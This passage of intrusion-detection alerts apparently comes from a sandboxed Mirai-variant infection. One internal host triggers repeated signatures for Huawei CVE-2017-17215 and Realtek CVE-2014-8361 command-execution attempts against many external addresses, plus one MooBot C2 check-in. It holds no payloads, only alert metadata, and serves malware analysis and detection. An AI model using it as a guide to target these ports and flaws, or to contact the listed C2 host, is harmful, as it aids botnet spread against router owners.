Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 206.65.197.101

Timestamp:	07/20/24-23:05:46.907723
SID:	2829579
Source Port:	39096
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 66.55.166.211

Timestamp:	07/20/24-23:05:54.797953
SID:	2025132
Source Port:	42868
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 191.78.129.32

Timestamp:	07/20/24-23:05:46.975762
SID:	2829579
Source Port:	55824
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.189.155.19

Timestamp:	07/20/24-23:05:46.918113
SID:	2835222
Source Port:	54418
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 8.26.166.115

Timestamp:	07/20/24-23:05:51.418855
SID:	2831300
Source Port:	42658
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 97.127.217.219

Timestamp:	07/20/24-23:05:47.519320
SID:	2027339
Source Port:	54398
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.199.216.214

Timestamp:	07/20/24-23:05:47.533407
SID:	2835222
Source Port:	50332
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 213.42.125.74

Timestamp:	07/20/24-23:05:52.256968
SID:	2829579
Source Port:	34232
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 142.15.8.195

Timestamp:	07/20/24-23:05:56.901109
SID:	2025132
Source Port:	59220
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 170.193.85.178

Timestamp:	07/20/24-23:05:52.218581
SID:	2835222
Source Port:	54768
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 131.82.186.16

Timestamp:	07/20/24-23:05:46.357721
SID:	2025132
Source Port:	50170
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.231.229.161

Timestamp:	07/20/24-23:05:52.251312
SID:	2829579
Source Port:	37818
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.218.98.239

Timestamp:	07/20/24-23:05:47.533385
SID:	2835222
Source Port:	46660
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 74.72.233.88

Timestamp:	07/20/24-23:05:51.421136
SID:	2831300
Source Port:	45692
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.159.192.112

Timestamp:	07/20/24-23:05:46.912775
SID:	2835222
Source Port:	44984
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.107.248.38

Timestamp:	07/20/24-23:05:46.976752
SID:	2835222
Source Port:	38140
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.219.104.62

Timestamp:	07/20/24-23:05:52.265126
SID:	2835222
Source Port:	33666
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 45.172.31.176

Timestamp:	07/20/24-23:05:46.978420
SID:	2835222
Source Port:	56012
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 144.242.91.152

Timestamp:	07/20/24-23:05:51.421493
SID:	2027339
Source Port:	39522
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.61.195.50

Timestamp:	07/20/24-23:05:52.199166
SID:	2835222
Source Port:	45222
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.141.104.84

Timestamp:	07/20/24-23:05:52.179209
SID:	2829579
Source Port:	45986
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.235.229.227

Timestamp:	07/20/24-23:05:52.264315
SID:	2835222
Source Port:	40364
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.199.118.155

Timestamp:	07/20/24-23:05:52.269606
SID:	2835222
Source Port:	59118
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 97.127.217.219

Timestamp:	07/20/24-23:05:47.519320
SID:	2025132
Source Port:	54398
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 84.205.84.200

Timestamp:	07/20/24-23:05:51.421877
SID:	2027339
Source Port:	40188
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.75.246.24

Timestamp:	07/20/24-23:05:47.536680
SID:	2829579
Source Port:	45594
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 220.140.76.88

Timestamp:	07/20/24-23:05:46.929085
SID:	2829579
Source Port:	42854
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 136.117.93.58

Timestamp:	07/20/24-23:05:46.823837
SID:	2025132
Source Port:	50968
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.47.192.204

Timestamp:	07/20/24-23:05:52.258489
SID:	2829579
Source Port:	60810
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 130.201.224.129

Timestamp:	07/20/24-23:05:47.528501
SID:	2027339
Source Port:	45062
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.76.93.169

Timestamp:	07/20/24-23:05:47.535438
SID:	2829579
Source Port:	46668
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 124.62.99.179

Timestamp:	07/20/24-23:05:51.418319
SID:	2027339
Source Port:	50206
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.153.15.83

Timestamp:	07/20/24-23:05:52.229226
SID:	2835222
Source Port:	44684
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.55.21.62

Timestamp:	07/20/24-23:05:46.907724
SID:	2829579
Source Port:	50018
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 106.225.80.214

Timestamp:	07/20/24-23:05:46.752647
SID:	2027339
Source Port:	55814
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 89.15.200.246

Timestamp:	07/20/24-23:05:52.281343
SID:	2835222
Source Port:	60796
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 152.36.106.192

Timestamp:	07/20/24-23:05:47.457457
SID:	2027339
Source Port:	55022
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.45.156.70

Timestamp:	07/20/24-23:05:52.247739
SID:	2829579
Source Port:	45166
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 31.131.38.148

Timestamp:	07/20/24-23:05:54.841414
SID:	2027339
Source Port:	42524
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 191.248.177.130

Timestamp:	07/20/24-23:05:51.419963
SID:	2027339
Source Port:	52160
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.113.145.203

Timestamp:	07/20/24-23:05:47.533322
SID:	2835222
Source Port:	36628
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.211.96.69

Timestamp:	07/20/24-23:05:46.922963
SID:	2835222
Source Port:	57444
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 132.142.106.204

Timestamp:	07/20/24-23:05:51.420040
SID:	2027339
Source Port:	42262
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 174.50.31.231

Timestamp:	07/20/24-23:05:46.915618
SID:	2829579
Source Port:	54346
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.64.13.247

Timestamp:	07/20/24-23:05:46.926640
SID:	2835222
Source Port:	45404
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.253.146.19

Timestamp:	07/20/24-23:05:46.981573
SID:	2835222
Source Port:	40314
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 36.191.196.165

Timestamp:	07/20/24-23:05:56.941696
SID:	2027339
Source Port:	34054
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 105.38.165.57

Timestamp:	07/20/24-23:05:47.376869
SID:	2025132
Source Port:	55328
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.107.121.28

Timestamp:	07/20/24-23:05:52.264315
SID:	2835222
Source Port:	41398
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.255.153.187

Timestamp:	07/20/24-23:05:52.179209
SID:	2829579
Source Port:	50976
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.200.3.249

Timestamp:	07/20/24-23:05:47.534030
SID:	2829579
Source Port:	44416
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 205.198.86.28

Timestamp:	07/20/24-23:05:52.256968
SID:	2829579
Source Port:	33746
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.155.232.222

Timestamp:	07/20/24-23:05:52.199166
SID:	2829579
Source Port:	57060
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.79.45.83

Timestamp:	07/20/24-23:05:52.192507
SID:	2829579
Source Port:	40328
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.100.121.122

Timestamp:	07/20/24-23:05:52.281343
SID:	2829579
Source Port:	35058
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 205.216.169.243

Timestamp:	07/20/24-23:05:47.515143
SID:	2027339
Source Port:	48552
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 130.201.224.129

Timestamp:	07/20/24-23:05:47.528501
SID:	2025132
Source Port:	45062
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.13 - Destination IP: 15.235.203.214

Timestamp:	07/20/24-23:05:46.759540
SID:	2030490
Source Port:	54578
Destination Port:	2466
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 44.187.248.15

Timestamp:	07/20/24-23:05:47.498390
SID:	2025132
Source Port:	36184
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.153.74.23

Timestamp:	07/20/24-23:05:46.982455
SID:	2835222
Source Port:	36432
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.70.4.171

Timestamp:	07/20/24-23:05:47.535438
SID:	2829579
Source Port:	35682
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 162.187.150.19

Timestamp:	07/20/24-23:05:51.428628
SID:	2027339
Source Port:	52888
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.90.187.218

Timestamp:	07/20/24-23:05:46.973669
SID:	2835222
Source Port:	37606
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 209.76.121.16

Timestamp:	07/20/24-23:05:51.418934
SID:	2027339
Source Port:	57116
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 18.130.245.228

Timestamp:	07/20/24-23:05:54.780791
SID:	2027339
Source Port:	48574
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.157.96.1

Timestamp:	07/20/24-23:05:52.192507
SID:	2829579
Source Port:	47362
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.247.83.121

Timestamp:	07/20/24-23:05:46.912775
SID:	2835222
Source Port:	56854
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 105.176.207.17

Timestamp:	07/20/24-23:05:46.922963
SID:	2835222
Source Port:	41866
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 160.130.172.45

Timestamp:	07/20/24-23:05:52.247739
SID:	2835222
Source Port:	54376
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.187.161.26

Timestamp:	07/20/24-23:05:47.535438
SID:	2835222
Source Port:	38382
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 79.74.230.112

Timestamp:	07/20/24-23:05:54.771686
SID:	2025132
Source Port:	38458
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 152.36.106.192

Timestamp:	07/20/24-23:05:51.426840
SID:	2027339
Source Port:	55686
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.203.131.159

Timestamp:	07/20/24-23:05:52.179209
SID:	2829579
Source Port:	35062
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 9.76.18.143

Timestamp:	07/20/24-23:05:52.258489
SID:	2835222
Source Port:	55190
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 218.45.227.32

Timestamp:	07/20/24-23:05:47.554542
SID:	2027339
Source Port:	54066
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 209.76.121.16

Timestamp:	07/20/24-23:05:51.418934
SID:	2831300
Source Port:	57116
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.139.230.183

Timestamp:	07/20/24-23:05:52.199166
SID:	2829579
Source Port:	49266
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.122.228.58

Timestamp:	07/20/24-23:05:46.976752
SID:	2835222
Source Port:	50836
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.40.78.120

Timestamp:	07/20/24-23:05:46.991466
SID:	2829579
Source Port:	51640
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.102.235.10

Timestamp:	07/20/24-23:05:47.533810
SID:	2835222
Source Port:	54930
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.27.189.109

Timestamp:	07/20/24-23:05:46.918113
SID:	2835222
Source Port:	40274
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.130.210.47

Timestamp:	07/20/24-23:05:52.184799
SID:	2835222
Source Port:	47816
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.148.74.66

Timestamp:	07/20/24-23:05:52.264315
SID:	2835222
Source Port:	55410
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 194.186.195.245

Timestamp:	07/20/24-23:05:46.976752
SID:	2829579
Source Port:	53532
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.48.26.198

Timestamp:	07/20/24-23:05:52.227948
SID:	2835222
Source Port:	55188
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.38.187.35

Timestamp:	07/20/24-23:05:46.971186
SID:	2829579
Source Port:	34934
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.205.60.158

Timestamp:	07/20/24-23:05:46.986114
SID:	2835222
Source Port:	40382
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 43.120.167.78

Timestamp:	07/20/24-23:05:52.214852
SID:	2829579
Source Port:	37648
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.5.6.138

Timestamp:	07/20/24-23:05:46.912775
SID:	2829579
Source Port:	53986
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 115.82.227.44

Timestamp:	07/20/24-23:05:56.957732
SID:	2027339
Source Port:	54802
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 18.130.245.228

Timestamp:	07/20/24-23:05:54.780791
SID:	2025132
Source Port:	48574
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 54.79.20.157

Timestamp:	07/20/24-23:05:51.421877
SID:	2027339
Source Port:	54696
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 162.187.150.19

Timestamp:	07/20/24-23:05:51.428628
SID:	2831300
Source Port:	52888
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 105.38.165.57

Timestamp:	07/20/24-23:05:51.428628
SID:	2027339
Source Port:	56024
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 111.53.163.147

Timestamp:	07/20/24-23:05:46.919504
SID:	2835222
Source Port:	56878
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.231.8.243

Timestamp:	07/20/24-23:05:46.978421
SID:	2835222
Source Port:	39968
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 131.82.186.16

Timestamp:	07/20/24-23:05:46.357721
SID:	2027339
Source Port:	50170
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.101.51.250

Timestamp:	07/20/24-23:05:47.533323
SID:	2829579
Source Port:	47720
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 185.226.52.199

Timestamp:	07/20/24-23:05:52.179209
SID:	2829579
Source Port:	42144
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.252.225.199

Timestamp:	07/20/24-23:05:52.247739
SID:	2835222
Source Port:	39734
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 179.157.205.164

Timestamp:	07/20/24-23:05:51.673723
SID:	2025132
Source Port:	51472
Destination Port:	52869
Protocol:	TCP
